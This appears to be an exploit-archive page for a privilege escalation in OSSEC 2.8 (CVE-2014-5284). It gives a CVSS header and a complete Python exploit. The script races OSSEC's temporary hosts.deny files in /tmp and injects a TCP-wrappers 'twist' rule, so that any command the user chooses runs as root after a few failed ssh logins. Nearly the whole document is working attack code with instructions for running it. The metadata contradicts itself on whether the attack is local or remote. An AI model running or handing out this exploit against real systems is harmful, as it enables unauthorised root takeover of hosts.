OSSEC 2.8 Privilege Escalation

2014.11.15
Credit: skynet-13
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python # Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation # Date: 14-11-14 # Exploit Author: skynet-13 # Vendor Homepage: www.ossec.net/ # Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz # Version: OSSEC - 2.8 # Tested on: Ubunutu x86_64 # CVE : 2014-5284 # Created from Research by # Jeff Petersen # Roka Security LLC # jpetersen@rokasecurity.com # Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1 # Run this on target machine and follow instructions to execute command as root from twisted.internet import inotify from twisted.python import filepath from twisted.internet import reactor import os import optparse import signal class HostDenyExploiter(object): def __init__(self, path_to_watch, cmd): self.path = path_to_watch self.notifier = inotify.INotify() self.exploit = cmd def create_files(self): print "==============================================" print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..." for i in range(300, 65536): filename = "/tmp/hosts.deny.%s" % i f = open(filename, 'w') f.write("") f.close() def watch_files(self): print "==============================================" print "Monitoring tmp for file change...." print "ssh into the system a few times with an incorrect password" print "Then wait for up to 10 mins" print "==============================================" self.notifier.startReading() self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change]) def write_exploit_to_file(self, path): print 'Writing exploit to this file' f = open(str(path).split("'")[1], 'w') f.write(' sshd : ALL : twist %s \n' % self.exploit) f.close() print "==============================================" print " ssh in again to execute the command" print "==============================================" print " End Prog." os.kill(os.getpid(), signal.SIGUSR1) def on_file_change(self, watch, path, mask): print 'File: ', str(path).split("'")[1], ' has just been modified' self.notifier.stopReading() self.write_exploit_to_file(path) if __name__ == '__main__': parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n") parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root') (options, args) = parser.parse_args() cmd = options.cmd if options.cmd is None: print parser.usage exit(0) ex = HostDenyExploiter('/tmp', cmd) ex.create_files() ex.watch_files() reactor.run() exit(0)


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